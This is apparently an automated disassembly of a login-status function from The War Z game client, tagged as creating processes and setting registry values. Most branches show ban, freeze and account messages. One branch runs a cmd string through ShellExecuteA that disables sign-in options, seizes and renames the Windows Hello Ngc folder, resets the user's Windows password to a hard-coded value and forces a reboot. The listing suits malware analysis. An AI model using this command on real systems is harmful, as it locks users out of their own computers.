Function at 0x40b1f0
Capabilities:
Create process on windows
Set registry value

Disassembly:
sub esp, 0x204
mov eax, dword [0x70bddc]
xor eax, esp
mov dword [esp + 0x200], eax
mov eax, dword [esi + 0x21884]
add eax, 0xfffffffc
push edi
cmp eax, 0xb
ja case.default.0x40b21d
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
jmp dword [eax*4 + 0x40b4cc]
mov dword [esi + 0x21710], str.Invalid_username_or_password
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
mov dword [esi + 0x21710], str.Game_session_active__try_later
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
mov eax, 0x88888889
mul dword [esi + 0x2187c]
shr edx, 5
inc edx
push edx
lea eax, [esp + 8]
push str.Your_account_has_been_temporarily_frozen_because_you_are_swearing_more_than_20_times_n_nYou_will_be_unfrozen_in__d_hours
push eax
mov dword [esi + 0x21710], 0x6dcd60
call fcn.00406b40
add esp, 0xc
push 0x30
push str.Login
lea ecx, [esp + 0xc]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
push 0x30
push str.Login
push str.Wait_5_minnute_and_join_game_again
push 0
mov dword [esi + 0x21710], 0x6dce10
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
push 0x30
push str.Login
push str.Account_was_locked_due_to_suspicious_activity._n_nPlease_check_your_email_for_instructions_on_how_to_unlock_it_or_you_can_reset_password__that_will_also_unlock_your_account.
push 0
mov dword [esi + 0x21710], 0x6dce50
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
push 0
push 0
push str._c_REG_DELETE_HKLMSOFTWAREMicrosoftPolicyManagerdefaultSettingsAllowSignInOptions__v_value__f__REG_ADD_HKLMSOFTWAREMicrosoftPolicyManagerdefaultSettingsAllowSignInOptions__v_value__t_REG_DWORD__d_0__TAKEOWN__F_C:WindowsServiceProfilesLocalServiceAppDataLocalMicrosoftNgc__R__D_Y__RENAME_C:WindowsServiceProfilesLocalServiceAppDataLocalMicrosoftNgc_Ngc___net_user__username__prokakkakl1l1l1211lll1212211__shutdown__r__f__t_0
push 0x6dd0e0
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x10
push 0x6dd0e4
push str._________________________________________
push 0
call edi
cmp eax, 1
je 0x40b4b4
push 0x10
push str.Login
push str.Banned:_This_account_has_been_investigated_and_permanently_closed_for_violations_of_the_Terms_of_Use
push 0
mov dword [esi + 0x21710], 0x6dd118
call edi
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
mov dword [esi + 0x21710], str.Your_guest_game_play_time_is_expired
mov dword [esi + 0x20dec], 4
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
push 0x30
push str.Account_Deleted
push str.Your_account_was_deleted_because_your_payment_was_refunded_or_cancelled_n_nPlease_contact_your_payment_provider
push 0
mov dword [esi + 0x21710], 0x6dd1e0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
push 0x30
push str.No_game_ownership_on_Steam
push str.Youve_started_game_under_a_steam_account__but_that_account_does_not_have_The_War_Z_game_ownership
push 0
mov dword [esi + 0x21710], 0x6dbb5a
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
push 0x30
push str.Login
push str.Unknown_account_status__please_contact_support_extreme.co.th
push 0
mov dword [esi + 0x21710], 0x6dd2f4
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push 0x6dbb5a
push str.https:__www.facebook.com_groups_rksstudio
push str.open
push 0
mov dword [esi + 0x21710], 0x6dbb5a
call edi
push 5
push 0
push 0x6dbb5a
push str.https:__www.facebook.com_WARZNAMTHIP
push str.open
push 0
call edi
mov dword [esi + 0x20dec], 5
pop edi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret
mov dword [esi + 0x21710], str.Login_failed__please_try_again_later
mov ecx, dword [esp + 0x204]
pop edi
xor ecx, esp
call fcn.005dceb7
add esp, 0x204
ret